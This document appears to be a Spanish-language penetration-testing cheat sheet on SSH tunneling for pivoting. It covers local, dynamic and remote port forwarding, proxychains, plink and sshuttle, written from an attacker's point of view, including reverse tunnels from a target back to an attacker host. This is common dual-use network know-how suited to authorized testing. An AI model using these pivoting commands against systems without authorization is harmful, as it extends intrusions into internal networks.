# SSH Tunneling

## Local port forwarding

{% hint style="info" %}
Atacante (puerto local) ---> Pivoting (SSH) ---> Destino (puerto)
{% endhint %}

```bash
# Local port forwarding
ssh -L <local-port>:<destination-IP-address>:<destination-port> <user>@<IP-address> -fN

# Ejemplo para acceder al puerto 80 de la máquina a la cual deseamos pivotear
ssh -L 8000:<destination-IP-address>:80 <user>@<IP-address> -fN
Navegador web: http://127.0.0.1:8000

# Ejemplo de acceso a un servidor web ejecutándose internamente en el 
# puerto 80, es decir, solo accesible localmente en el servidor (127.0.0.1:80)
ssh -L 8000:127.0.0.1:80 <user>@<IP-address> -fN
Navegador web: http://127.0.0.1:8000
```

* -L = local port forwarding.
* \<local-port> = puerto local de nuestra máquina (atacante).
* \<destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.
* \<destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.
* \<user> = usuario de conexión SSH de la máquina objetivo que nos permite pivotear.
* \<IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.
* -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.
* -N = sin ejecución de comandos remotos.

## Dynamic port forwarding (socks / proxy)

{% hint style="info" %}
Atacante (puerto local) ---> Pivoting (SSH) ---> Cualquier destino
{% endhint %}

```bash
# ProxyChains
sudo nano /etc/proxychains.conf
socks4 127.0.0.1 <local-port>

# Dynamic port forwarding
ssh -D <local-port> <user>@<IP-address> -fN

# Ejemplo para acceder al puerto 80 de la máquina a la cual deseamos pivotear
# X.X.X.1 = máquina que nos permite pivotear
# X.X.X.2 = máquina de destino a la cual deseamos pivotear
sudo nano /etc/proxychains.conf
socks4 127.0.0.1 9999
ssh -D 9999 <usuario>@X.X.X.1 -fN
FoxyProxy: socks4, 127.0.0.1, 9999
Navegador web: http://X.X.X.2
```

* -D = dynamic port forwarding.
* \<local-port> = puerto local de nuestra máquina (atacante).
* \<user> = usuario de conexión SSH de la máquina objetivo que nos permite pivotear.
* \<IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.
* -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.
* -N = sin ejecución de comandos remotos.

## Remote port forwarding

{% hint style="info" %}
Atacante ---> Pivoting (SSH) ---> Destino (puerto)

Atacante (puerto local) <--- Pivoting (SSH) <--- Destino
{% endhint %}

```bash
ssh -R <local-port>:<destination-IP-address>:<destination-port> <user>@<attacker-IP-address> -i <private-key> -fN
ssh -R <local-port> <user>@<attacker-IP-address> -i <private-key> -fN
```

* -R = remote port forwarding.
* \<local-port> = puerto local de nuestra máquina (atacante).
* \<destination-IP-address> = dirección IP de la máquina de destino a la cual deseamos pivotear.
* \<destination-port> = puerto de la máquina de destino a la cual deseamos pivotear.
* \<user> = usuario de conexión SSH de nuestra máquina (atacante).
* \<attacker-IP-address> = dirección IP de nuestra máquina (atacante).
* -f = pone en background el proceso una vez que se haya establecido con éxito la sesión SSH.
* -N = sin ejecución de comandos remotos.

### Creación de llaves SSH

```sh
ssh-keygen
touch ~/.ssh/authorized_keys
echo "command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty" >> ~/.ssh/authorized_keys
cat id_rsa.pub >> ~/.ssh/authorized_keys
sudo systemctl start ssh
```

## plink

* <https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html>

```sh
sudo apt install putty-tools
puttygen id_rsa -o id_rsa.ppk
cmd.exe /c echo y | .\plink.exe -R <local-port>:<destination-IP-address>:<destination-port> <user>@<attacker-IP-address> -i <private-key.ppk> -N
```

## sshuttle

* <https://github.com/sshuttle/sshuttle>

```sh
sshuttle -r <user>@<IP-address> <CIDR>
sshuttle -r <user>:<password>@<IP-address> <CIDR>
sshuttle -r <user>@<IP-address> <CIDR> -x <IP-address>
sshuttle -r <user>@<IP-address> --ssh-cmd "ssh -i <private-key>" <CIDR>
```

* \<user> = usuario de conexión SSH a la máquina objetivo.
* \<IP-address> = dirección IP de la máquina objetivo que nos permite pivotear.
* \<CIDR> = red a la cual queremos pivotear y tiene acceso la máquina objetivo.
* -x = permite excluir la dirección IP de la máquina que nos permite pivotear, esto es necesario cuando esta es parte de la subred, a la cual, se está intentando obtener acceso.
